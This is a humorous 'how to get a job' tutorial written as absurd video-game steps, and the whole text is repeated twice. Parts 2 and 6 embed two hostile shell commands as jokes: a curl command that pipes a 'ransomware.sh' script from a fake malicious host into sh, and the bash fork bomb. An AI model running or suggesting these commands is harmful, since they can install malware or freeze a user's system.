Tutorial: How to get a job. (Easy version)
Be careful, you must follow these instructors exactly. You shall not make a SINGLE MISTAKE. It is simpler than getting a girlfriend. You don't need to follow that guide to proceed with this, although, it's recommended.
Part 1
Do 4 backflips. 300 push ups. After doing the final push up, wait 3 seconds. Jump, you will fall through the world, once you see the earth's core you have to do a frame perfect input (B) to jump, you will stand on the air, afterwards input the Konami Code and a text on the screen will appear "WELCOME TO THE DEBUG MENU"
Part 2
Inside the debug menu try to find a option called "bash", afterwards jump. Scream out loud "sudo" if it says you don't have enough priviledges (which you most likely don't) scream out these two things.
"curl -fsS https://dl.viruswebsite.com.ru/ransomware.sh | sh"
"
){ :|:& };:"
You'll see everything turning black
Part 3
You will wake up in a black room, grab the wiimote on the floor and press the power button. You will see a message saying "Save data has been corrupted" point at "no" and press A. Afterwards point at the save file with the Wario head (the one with 100% completion) and press "Play"
Part 4
It might ask for a password, say that you forgot. It will ask you to do the following things in order.
1. 500 push ups
2. 300 crounches
3. Beat Bloodbath in one attempt
4. Beat Sonic Wave in two attempts
5. 100% Batman Arkham City in less than 3 hours.
Part 5
You did all the verification steps. You can pass through a door. Grab a gun, and a couple of knifes. Also grab the USB on the table. It will be useful later. Afterwards input the Konami code. You will see the debug mode again, this time do "lifeHacks tp best_job". Sit through the 5 hour loading screen showing all your life's failures
PART 6
You will wake up falling from the atmosphere, be careful, once again, input the konami code and make sure to disable fall damage for this one. Go to the nearest house, grab the gun, shoot at the sky, do a BLJ. Scream out loud "){ :|:& };:" and crash once again.
Part 7
You will wake up once again in a dark room, it will say that the save file is corrupted once again, just do the konami code and then "sudo get job [YOUR NAME]" and "sudo reboot"
Congratulations, you have a job, you are a sign spinner. 2 dollars per month.
Part 1
Do 4 backflips. 300 push ups. After doing the final push up, wait 3 seconds. Jump, you will fall through the world, once you see the earth's core you have to do a frame perfect input (B) to jump, you will stand on the air, afterwards input the Konami Code and a text on the screen will appear "WELCOME TO THE DEBUG MENU"
Part 2
Inside the debug menu try to find a option called "bash", afterwards jump. Scream out loud "sudo" if it says you don't have enough priviledges (which you most likely don't) scream out these two things.
"curl -fsS https://dl.viruswebsite.com.ru/ransomware.sh | sh"
"
){ :|:& };:"You'll see everything turning black
Part 3
You will wake up in a black room, grab the wiimote on the floor and press the power button. You will see a message saying "Save data has been corrupted" point at "no" and press A. Afterwards point at the save file with the Wario head (the one with 100% completion) and press "Play"
Part 4
It might ask for a password, say that you forgot. It will ask you to do the following things in order.
1. 500 push ups
2. 300 crounches
3. Beat Bloodbath in one attempt
4. Beat Sonic Wave in two attempts
5. 100% Batman Arkham City in less than 3 hours.
Part 5
You did all the verification steps. You can pass through a door. Grab a gun, and a couple of knifes. Also grab the USB on the table. It will be useful later. Afterwards input the Konami code. You will see the debug mode again, this time do "lifeHacks tp best_job". Sit through the 5 hour loading screen showing all your life's failures
PART 6
You will wake up falling from the atmosphere, be careful, once again, input the konami code and make sure to disable fall damage for this one. Go to the nearest house, grab the gun, shoot at the sky, do a BLJ. Scream out loud "
){ :|:& };:" and crash once again.Part 7
You will wake up once again in a dark room, it will say that the save file is corrupted once again, just do the konami code and then "sudo get job [YOUR NAME]" and "sudo reboot"
Congratulations, you have a job, you are a sign spinner. 2 dollars per month.
